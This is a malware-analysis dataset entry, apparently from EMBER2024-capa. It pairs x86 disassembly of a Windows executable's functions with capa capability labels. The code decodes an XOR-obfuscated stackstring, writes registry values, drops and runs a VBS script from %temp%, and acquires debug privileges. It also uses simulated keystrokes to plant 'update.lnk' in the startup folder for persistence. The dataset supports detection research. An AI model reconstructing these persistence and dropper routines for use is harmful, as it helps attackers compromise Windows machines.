joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403798
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, eax
je 0x4037b5
cmp dword [esp + 8], eax
je 0x4037b5
jle 0x4037b5
xor byte [eax + ecx], 0x58
inc eax
cmp eax, dword [esp + 8]
jl 0x4037aa
ret

Function at 0x4037b6
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push ebx
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
and byte [ebp - 0x31c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x31b]
rep stosd dword es:[edi], eax
and byte [ebp - 0x107], 0
and dword [ebp - 4], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
mov byte [ebp - 0x114], 0xb
push eax
mov byte [ebp - 0x113], 0x37
mov byte [ebp - 0x112], 0x3e
mov byte [ebp - 0x111], 0x2c
mov byte [ebp - 0x110], 0x2f
mov byte [ebp - 0x10f], 0x39
mov byte [ebp - 0x10e], 0x2a
mov byte [ebp - 0x10d], 0x3d
mov byte [ebp - 0x10c], 4
mov byte [ebp - 0x10b], 0x22
mov byte [ebp - 0x10a], 0x31
mov byte [ebp - 0x109], 0x28
mov byte [ebp - 0x108], 0x39
mov dword [ebp - 8], 3
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00403798
add esp, 0xc
lea eax, [ebp - 4]
mov edi, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov esi, str.Data
push eax
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x114]
push esi
mov ebx, getsockname
push eax
push ebx
call edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x114]
push esi
push eax
push closesocket
call edi
cmp dword [ebp - 0x10], 0
mov edi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 0xc], eax
jne 0x4038d6
lea eax, [ebp - 0x114]
push eax
push ebx
call edi
cmp dword [ebp - 0xc], 0
jne 0x4038ea
lea eax, [ebp - 0x114]
push eax
push closesocket
call edi
and byte [ebp - 0x218], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x217]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00403798
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push eax
lea eax, [ebp - 0x218]
push eax
push 3
lea eax, [ebp - 0x114]
push esi
push eax
push ebx
call edi
test eax, eax
jne 0x403982
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
push 3
lea eax, [ebp - 0x114]
push esi
push eax
push closesocket
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403987
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x1cb]
mov byte [ebp - 0x1cc], bl
push str.GetModuleFileNameA
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x1cc]
push 0x104
push eax
push str._temp__tempMi.vbs
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x31
xor eax, eax
pop ecx
lea edi, [ebp - 0xc7]
mov byte [ebp - 0xc8], bl
push str.set_sCreateObject__wscript.shell____rs.Run__
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xc8]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xc8]
push 0x40922c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xc8]
push str.___0__TRUE_r
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1cc]
push 0x4081cc
push eax
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 0x20
cmp esi, ebx
je 0x403a62
push esi
lea eax, [ebp - 0xc8]
push 1
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0xc8]
push eax
call sub.MSVCRT.dll_fwrite
push esi
call sub.MSVCRT.dll_fclose
add esp, 0x14
push ebx
push ebx
lea eax, [ebp - 0x1cc]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x403a7f
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push ebx
push esi
xor ebx, ebx
push 0x20c
lea eax, [ebp - 0x61c]
push ebx
push eax
mov dword [ebp - 8], ebx
call sub.MSVCRT.dll_memset
push 0x408288
push 0x4089fc
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 0x14
cmp esi, ebx
mov dword [ebp - 0xc], esi
je 0x403adc
push 2
push 0xfffffffffffffffc
push esi
call sub.MSVCRT.dll_fseek
push esi
push 4
lea eax, [ebp - 8]
push 1
push eax
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp dword [ebp - 8], ebx
jne 0x403ae3
xor al, al
jmp 0x403ca6
mov eax, 0xfffffdf4
push 2
sub eax, dword [ebp - 8]
push eax
push esi
call sub.MSVCRT.dll_fseek
push esi
push 0x208
lea eax, [ebp - 0x61c]
push 1
push eax
call sub.MSVCRT.dll_fread
push 2
push 0xfffffffffffffffc
pop eax
sub eax, dword [ebp - 8]
push eax
push esi
call sub.MSVCRT.dll_fseek
push esi
push 4
push 1
push 0x408120
call sub.MSVCRT.dll_fread
push 4
lea eax, [ebp - 0x61c]
push 0x408124
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0x44
test eax, eax
jne 0x403c9d
mov esi, 0x200
push edi
push esi
lea eax, [ebp - 0x210]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
cmp byte [ebp - 0x11], 0
mov eax, 0x1ff
jne 0x403b8b
dec eax
cmp byte [ebp + eax - 0x210], 0
je 0x403b7c
cmp eax, ebx
jl 0x403b9b
mov cl, byte [0x40811c]
xor byte [ebp + eax - 0x210], cl
dec eax
jns 0x403b8b
mov dword [ebp - 4], 0x408c00
lea eax, [ebp - 0x210]
push 0x21
push eax
call sub.MSVCRT.dll_strchr
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x403c99
push esi
lea eax, [ebp - 0x410]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, ebx
lea ecx, [ebp - 0x210]
sub eax, ecx
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x410]
push 0x40
push eax
call sub.MSVCRT.dll_strchr
add esp, 0x20
mov dword [ebp - 0x10], eax
test eax, eax
je 0x403c99
lea ecx, [ebp - 0x410]
sub eax, ecx
push eax
lea eax, [ebp - 0x410]
push eax
mov eax, dword [ebp - 4]
add eax, 0xffffff00
push eax
call sub.MSVCRT.dll_strncpy
mov eax, dword [ebp - 0x10]
inc eax
push eax
call sub.MSVCRT.dll_atoi
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 0x104
add esp, 0x10
cmp dword [ebp - 4], 0x40931c
mov dword [ecx], eax
jge 0x403c99
push esi
lea eax, [ebp - 0x410]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
inc ebx
lea eax, [ebp - 0x410]
push ebx
push eax
call edi
push esi
lea eax, [ebp - 0x210]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
lea eax, [ebp - 0x210]
push 0x21
push eax
call sub.MSVCRT.dll_strchr
pop ecx
pop ecx
jmp 0x403ba2
mov esi, dword [ebp - 0xc]
pop edi
push esi
call sub.MSVCRT.dll_fclose
pop ecx
mov al, 1
pop esi
pop ebx
leave
ret
Function at 0x403ede
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov esi, dword [sym.imp.USER32.dll_GetWindow]
push 5
push eax
call esi
mov edi, eax
test edi, edi
je 0x403f74
lea eax, [ebp - 0x104]
push 0x104
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x4082ac
push eax
call sub.MSVCRT.dll_strstr
pop ecx
test eax, eax
pop ecx
jne 0x403f78
lea eax, [ebp - 0x104]
push str.StartUp
push eax
call sub.MSVCRT.dll_strstr
pop ecx
test eax, eax
pop ecx
jne 0x403f78
lea eax, [ebp - 0x104]
push str.startup
push eax
call sub.MSVCRT.dll_strstr
pop ecx
test eax, eax
pop ecx
jne 0x403f78
push 2
push edi
jmp 0x403f0f
xor eax, eax
jmp 0x403f7a
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x403f7e
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403fec
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x403fc0
mov dword [ebp - 8], 2
push esi
push esi
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x403fe3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
neg esi
sbb esi, esi
inc esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x403ff1
Capabilities:
Open clipboard

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.user32.dll
push str.RegisterClipboardFormatA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetClipboardData
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push str.Preferred_DropEffect
mov dword [ebp - 8], eax
call dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 4
push 0x2042
mov dword [ebp - 0xc], eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
mov dword [ebp - 4], eax
call edi
push dword [ebp - 4]
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sete cl
inc ecx
mov dword [eax], ecx
call ebx
xor eax, eax
mov dword [ebp - 0x20], 0x14
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], 1
lea eax, [eax + eax + 0x1c]
push eax
push 0x2042
call esi
mov esi, eax
push esi
call edi
mov edi, eax
lea eax, [ebp - 0x20]
push 0x14
push eax
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add edi, 0x14
push dword [ebp + 0xc]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push 2
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
call ebx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4040e2
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 0xf
call dword [ebp - 8]
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [ebp - 8]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4040e7
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push esi
push str.WinExec
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40417e
and byte [ebp - 0x100], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x100]
push str.explorer
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x204]
pop ecx
push 0
push 0x18
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x100]
push 0x4080d0
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x100]
push 0
push eax
call esi
pop edi
pop esi
leave
ret
Function at 0x404181
Capabilities:
Get common file path
Get startup folder

Disassembly:
sub esp, 0x208
push ebx
push ebp
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push 0x28
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x10]
push str.update.lnk
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
call fcn.00403f7e
push str.keybd_event
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
call fcn.004040e7
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call ebp
call fcn.004040e7
call fcn.00403ede
cmp eax, ebx
je 0x40420c
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edi, str.hello_word_
push edi
call sub.MSVCRT.dll_printf
pop ecx
lea eax, [esp + 0x10]
push 1
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [esp + 0x18]
push eax
call fcn.00403ff1
push edi
call sub.MSVCRT.dll_printf
add esp, 0x10
push ebx
push ebx
push ebx
push 0x11
call esi
push ebx
push ebx
push ebx
push 0x56
call esi
push ebx
push 2
push ebx
push 0x56
call esi
push ebx
push 2
push ebx
push 0x11
call esi
push 0x1f4
call ebp
push ebx
lea eax, [esp + 0x118]
push 0x18
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.test_new_miroc__n
call sub.MSVCRT.dll_printf
lea eax, [esp + 0x118]
mov dword [esp], str.update.lnk
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push ebx
push 0x80
push 3
push ebx
push ebx
lea eax, [esp + 0x128]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x404305
call fcn.004040e7
call fcn.00403ede
cmp eax, ebx
je 0x4042c7
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call sub.MSVCRT.dll_printf
pop ecx
push ebx
push ebx
push ebx
push 0x11
call esi
push ebx
push ebx
push ebx
push 0x56
call esi
push ebx
push 2
push ebx
push 0x56
call esi
push ebx
push 2
push ebx
push 0x11
call esi
push 0x1f4
call ebp
jmp 0x4042a0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x4046a7
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x104]
push 0x18
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.test_new_miroc__n
call sub.MSVCRT.dll_printf
lea eax, [ebp - 0x104]
mov dword [esp], str.update.lnk
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
pop edi
cmp eax, 0xffffffff
pop ebx
jne 0x404721
xor al, al
leave
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
leave
ret

Function at 0x40472c
Capabilities:
Create thread

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push esi
push esi
push 0x403ec3
push esi
push esi
call edi
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [0x409330], 1
jne 0x4047be
push ebx
push ebp
push esi
push esi
push esi
push 0x4047cd
push esi
push esi
call edi
mov ebx, 0x104
mov edi, 0x4089fc
push ebx
push esi
push edi
call sub.MSVCRT.dll_memset
mov ebp, str.hello_word_
push ebp
call sub.MSVCRT.dll_printf
add esp, 0x10
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.004046a7
test al, al
jne 0x4047b3
push ebp
call sub.MSVCRT.dll_printf
call fcn.0040431a
push ebp
call sub.MSVCRT.dll_printf
call fcn.00404181
push ebp
call sub.MSVCRT.dll_printf
add esp, 0xc
push esi
call fcn.00403caa
pop ecx
pop ebp
pop ebx
jmp 0x4047c8
call fcn.00403987
call fcn.004037b6
pop edi
xor eax, eax
pop esi
ret

Function at 0x40497b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x404943
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.MSVCRT.dll__beginthreadex
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x404c08
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4062e0
push 0x404b3a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x40934c], 0xffffffff
or dword [0x409350], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x409340]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x40933c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x409348], eax
call fcn.00404d45
cmp dword [0x408460], 0
jne 0x404c8b
push 0x404d42
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00404d30
push 0x408020
push 0x40801c
call sub.MSVCRT.dll__initterm
mov eax, dword [0x409338]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x409334]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x408018
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.0040472c
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x77efba5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x77efbd3
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x77efbda
cmp ebx, dword [eax + 4]
jae 0x77efbda
xor eax, eax
jmp 0x77efdca
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x77efbeb
xor eax, eax
inc eax
jmp 0x77efdc9
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x77efc01
cmp ecx, edx
jae 0x77efd46
cmp dword [eax + 4], 0
je 0x77efc0a
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x77efbf2
cmp dword [ebp + 8], 0
je 0x77efc2c
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x77efd46
cmp eax, esi
jae 0x77efd46
mov eax, dword [0x78222b8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x77efc51
cmp dword [esi*4 + 0x78222c0], edi
je 0x77efd4a
inc esi
cmp esi, eax
jl 0x77efc3f
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [0x7808138]
test eax, eax
je 0x77efdc6
cmp dword [ebp - 8], 0x1000000
jne 0x77efdc6
test byte [ebp - 0xc], 0xcc
je 0x77efccf
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x77efdc6
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x77efdc6
cmp word [eax + 0x18], 0x10b
jne 0x77efdc6
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x77efdc6
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x77efccf
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x77efccf
test byte [ecx + 0x27], 0x80
jne 0x77efd46
push 1
push 0x7822300
call dword [0x7808284]
test eax, eax
jne 0x77efbe3
mov ecx, dword [0x78222b8]
test ecx, ecx
mov edx, ecx
jle 0x77efd03
lea eax, [ecx*4 + 0x78222bc]
cmp dword [eax], edi
je 0x77efd03
dec edx
sub eax, 4
test edx, edx
jg 0x77efcf7
test edx, edx
jne 0x77efd34
push 0xf
pop ebx
cmp ecx, ebx
jg 0x77efd10
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x77efd28
lea eax, [edx*4 + 0x78222c0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x77efd16
cmp ecx, 0x10
jge 0x77efd34
inc ecx
mov dword [0x78222b8], ecx
push 0
push 0x7822300
call dword [0x7808284]
jmp 0x77efbe3
xor eax, eax
jmp 0x77efdc9
test esi, esi
jle 0x77efbe3
mov ebx, dword [0x7808284]
push 1
push 0x7822300
call ebx
test eax, eax
jne 0x77efbe3
cmp dword [esi*4 + 0x78222c0], edi
je 0x77efda0
mov eax, dword [0x78222b8]
lea esi, [eax - 1]
test esi, esi
jl 0x77efd8e
cmp dword [esi*4 + 0x78222c0], edi
je 0x77efd8a
dec esi
jns 0x77efd7e
test esi, esi
jge 0x77efd9e
cmp eax, 0x10
jge 0x77efd99
inc eax
mov dword [0x78222b8], eax
lea esi, [eax - 1]
jmp 0x77efda0
je 0x77efdb8
xor ecx, ecx
test esi, esi
jl 0x77efdb8
lea eax, [ecx*4 + 0x78222c0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x77efda6
push 0
push 0x7822300
call ebx
jmp 0x77efbe3
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x77fa3f3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x7806d9e
call fcn.077ed4d0
sub esp, 0x11c
mov eax, dword [0x781c62c]
push ebx
push esi
push edi
push dword [ebp + 0x1c]
mov esi, ecx
xor ebx, ebx
push ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x128], esi
call fcn.077fb909
lea ecx, [esi + 0x78]
mov dword [ebp - 4], ebx
mov dword [esi], vtable.CFileDialog.0
call fcn.077a2390
cmp dword [ebp + 0x20], ebx
mov byte [ebp - 4], 1
jne 0x77fa484
mov edi, 0x114
push edi
lea eax, [ebp - 0x124]
push ebx
push eax
call fcn.077ed470
add esp, 0xc
lea eax, [ebp - 0x124]
push eax
mov dword [ebp - 0x124], edi
call dword [0x7808274]
cmp dword [ebp - 0x114], 2
jne 0x77fa47d
cmp dword [ebp - 0x120], 5
mov dword [ebp + 0x20], 0x58
jae 0x77fa484
mov dword [ebp + 0x20], 0x4c
push dword [ebp + 0x20]
call fcn.077eb4f5
cmp eax, ebx
pop ecx
mov dword [esi + 0x70], eax
jne 0x77fa499
call fcn.077fa170
push dword [ebp + 0x20]
push ebx
push eax
call fcn.077ed470
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0x20]
mov dword [esi + 0x74], eax
add esp, 0xc
neg eax
sbb eax, eax
add eax, 0x7005
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x70]
mov dword [esi + 0x304], ebx
lea ecx, [esi + 0x7c]
mov word [ecx], bx
lea edi, [esi + 0xfc]
mov word [edi], bx
mov dword [eax], edx
mov eax, dword [esi + 0x70]
mov edx, dword [ebp + 0xc]
mov dword [eax + 0x1c], edi
mov eax, dword [esi + 0x70]
mov dword [eax + 0x20], 0x104
mov eax, dword [esi + 0x70]
mov dword [eax + 0x3c], edx
mov eax, dword [esi + 0x70]
mov edx, dword [ebp + 0x14]
mov dword [eax + 0x24], ecx
mov eax, dword [esi + 0x70]
push 0x40
pop ecx
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x70]
or edx, 0x80020
or dword [eax + 0x34], edx
test byte [ebp + 0x14], cl
je 0x77fa518
mov eax, dword [esi + 0x70]
and byte [eax + 0x36], 0x7f
call fcn.07804779
cmp dword [ebp + 0x10], ebx
mov eax, dword [eax + 0xc]
mov ecx, dword [esi + 0x70]
mov dword [ecx + 8], eax
mov eax, dword [esi + 0x70]
mov dword [eax + 0x44], 0x77fa7a4
je 0x77fa544
push 0x104
push dword [ebp + 0x10]
push edi
call dword [0x7808234]
cmp dword [ebp + 0x18], ebx
je 0x77fa57d
push dword [ebp + 0x18]
lea edi, [esi + 0x78]
mov ecx, edi
call fcn.077a42f0
push ebx
mov ecx, edi
call fcn.077a23b0
jmp 0x77fa566
mov word [eax], bx
add eax, 2
push 0x7c
push eax
call fcn.077ebd2a
cmp eax, ebx
pop ecx
pop ecx
jne 0x77fa560
mov eax, dword [esi + 0x70]
mov ecx, dword [esi + 0x78]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.077eb5bd
leave
ret 0x1c